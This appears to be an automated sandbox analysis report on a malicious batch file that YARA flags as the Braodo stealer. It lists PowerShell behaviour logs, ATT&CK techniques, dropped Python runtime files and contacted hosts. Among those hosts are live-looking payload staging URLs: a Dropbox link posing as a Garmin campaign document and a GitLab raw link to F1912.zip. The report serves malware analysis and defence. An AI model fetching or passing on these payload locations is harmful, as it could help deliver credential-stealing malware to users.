Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Braodo

Source: Yara match	File source: amsi64_7968.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7968, type: MEMORYSTR

Remote Access Functionality

Yara detected Braodo

Source: Yara match	File source: amsi64_7968.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7968, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hnghksdjfhs19De.bat	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\Public\Document\python.exe	0%	ReversingLabs
C:\Users\Public\Document\python3.dll	0%	ReversingLabs
C:\Users\Public\Document\python312.dll	0%	ReversingLabs
C:\Users\Public\Document\pythonw.exe	0%	ReversingLabs
C:\Users\Public\Document\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.cnri.reston.va.us)	0%	Avira URL Cloud	safe
http://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://www.cwi.nl)	0%	Avira URL Cloud	safe
http://www.pythonlabs.com/logos.html	0%	Avira URL Cloud	safe
https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com/cd/0/get/CgijYi4OcK2CyCBSchTDdc5lDd_x	0%	Avira URL Cloud	safe
https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
gitlab.com	172.65.251.78	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1	false		high
https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://gitlab.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/service_worker.js	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/;	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cnri.reston.va.us)	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false	Avira URL Cloud: safe	unknown
http://www.dropbox.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.python.org/	powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://snowplow.trx.gitlab.net	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/page_success/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCB9F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/zua9grfav23fqe	powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com/cd/0/get/CgijYi4OcK2CyCBSchTDdc5lDd_x	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gitlab.com/fgh8090051/jgh/-/raw/main/f1912.zip	powershell.exe, 0000000E.00000002.2514279932.0000027DC92D4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.docsend.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/assets/	powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.1426491698.000001C5BB323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5ACC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1426491698.000001C5BB465000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.do	powershell.exe, 0000000C.00000002.1411569781.000001C5A96C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/static/api/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC91D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.1411821979.000001C5AB2B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCADC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E17B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sentry.gitlab.net	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docsend.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000000C.00000002.1426491698.000001C5BB323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5ACC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1426491698.000001C5BB465000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC847000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://showcase.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/serviceworker/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC42F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC91D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC922000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000000C.00000002.1411821979.000001C5AC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCB9F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E720000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false		high
https://www.python.org/psf/)	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false		high
https://www.dropbox.com/v/s/playlist/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.com	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	false		high
